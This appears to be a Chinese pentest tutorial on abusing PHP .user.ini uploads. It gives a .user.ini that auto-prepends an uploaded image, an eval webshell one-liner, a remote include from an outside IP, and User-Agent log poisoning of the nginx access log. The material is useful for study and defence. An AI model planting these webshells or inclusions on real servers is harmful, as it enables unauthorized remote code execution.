当前位置:   article > 正文

文件上传-.user.ini利用

文件上传-.user.ini利用

php.ini是php的全局配置文件,对整个web服务起作用

.user.ini和.htaccess都是目录的配置文件

.user.ini是用户自定义的php.in

官方解释:

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI
SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
官方解释:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。
  • 1
  • 2
  • 3
  • 4
  • 5

用法:

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
  • 1
  • 2

理解为包含文件

利用条件

  • 语言为PHP 服务器使用CGI
  • FastCGI模式
  • 上传目录有默认可执行php文件(有时候可以自己上传index.php文件?)
  • PHP 5.3.0以上

当前目录有默认页面index.php,访问当前目录(即index.php)就会引用.user.ini指定的文件(如shell.png)

1、包含png文件(包含txt文件同理)

上传.user.ini文件

auto_prepend_file=1.png
  • 1

上传1.png(内容写马)

<?php @eval($_POST['shell']);?>
  • 1

2、包含远程文件

<?=include'http://10.22.11.21/'?>
  • 1

整型地址:

<?=include'http://169216789/'?>
  • 1

3、包含日志,利用UA头构造后门

首先包含此文件:/var/log/nginx/access.log
然后随便访问一个页面,将UA头改为<?php @eval($_POST['shell']);?>

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/992579
推荐阅读
相关标签
  

闽ICP备14008679号